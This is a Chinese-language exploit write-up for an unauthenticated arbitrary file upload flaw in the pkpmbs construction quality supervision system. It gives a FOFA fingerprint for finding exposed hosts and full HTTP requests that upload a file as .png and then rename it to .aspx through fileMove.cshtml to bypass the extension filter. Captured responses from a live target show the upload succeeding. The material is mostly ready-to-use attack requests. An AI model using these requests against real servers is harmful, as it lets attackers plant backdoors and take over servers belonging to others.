# P9-2pkpmbs-建设工程质量监督系统-文件上传

## 漏洞描述：

pkpmbs 建设工程质量监督系统 FileUpOrDown.aspx、/Platform/System/FileUpload.ashx、接口处存在任意文件上传漏洞，未经身份认证的攻击者可以利用漏洞上传恶意后门文件，从而获取服务器权限。

## 影响版本：

标准版 <= 2.2023.0328.172228

**网站图片：**


## 网络测绘：

**fofa语法：**

FOFA：icon_hash="2001627082"

## 漏洞复现：

payload：

```
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqACRhAMBHmQQAUP
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

------WebKitFormBoundarybqACRhAMBHmQQAUP
Content-Disposition: form-data; name="file"; filename="1.aspx"
Content-Type: image/png

test
------WebKitFormBoundarybqACRhAMBHmQQAUP
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
------WebKitFormBoundarybqACRhAMBHmQQAUP--
```

效果图:

Request

数据包扫描 热加载 构造请求

```
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host : [redacted]:8055
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqACRhAMBHmQQAUP
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

------WebKitFormBoundarybqACRhAMBHmQQAUP
Content-Disposition: form-data; name="file"; filename="1.aspx"
Content-Type: image/png

test
------WebKitFormBoundarybqACRhAMBHmQQAUP
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
------WebKitFormBoundarybqACRhAMBHmQQAUP--
```

Responses 36bytes / 70ms

```
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/j
Server: Microsoft-IIS/10.0
Set-Cookie: ASP.NET_Session
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Allow-Origin
Access-Control-Allow-Method
Access-Control-Allow-Header
Date: Wed, 29 Nov 2023 13:3
Content-Length: 36

您上传的文件类型不被允许
```

PS：直接是不允许上传aspx文件，需要先上传txt、png等类型文件然后，转换文件格式
上传png文件

Request

数据包扫描 热加载 构造请求

```
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host : [redacted]:8055
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqACRhAMBHmQQAUP
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

------WebKitFormBoundarybqACRhAMBHmQQAUP
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

test
------WebKitFormBoundarybqACRhAMBHmQQAUP
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
------WebKitFormBoundarybqACRhAMBHmQQAUP--
```

Responses 105bytes / 69ms

```
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application
Server: Microsoft-IIS/10.
Set-Cookie: ASP.NET_Sessi
X-AspNet-Version: 4.0.303
X-Powered-By: ASP.NET
Access-Control-Allow-Orig
Access-Control-Allow-Meth
Access-Control-Allow-Head
Date: Wed, 29 Nov 2023 13
Content-Length: 105

{"code":0,"msg":"上传成功"
SkillDevelopAndEHS/1.png"
```

转换文件类型

```
GET /Applications/SkillDevelopAndEHS/fileMove.cshtml?filePath=上传的文件名&factFilePath=1.aspx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
```

Request

数据包扫描 热加载 构造请求

```
GET /Applications/SkillDevelopAndEHS/fileMove.cshtml?filePath=1.png&factFilePath=1.aspx HTTP/1.1
Host : [redacted]:8055
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
```

Responses 0bytes / 77ms

```
HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/10.0
Set-Cookie: ASP.NET_SessionI
X-AspNetWebPages-Version: 2.
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Allow-Origin:
Access-Control-Allow-Methods
Access-Control-Allow-Headers
Date: Wed, 29 Nov 2023 13:42
```

根据上面回显的路径验证


test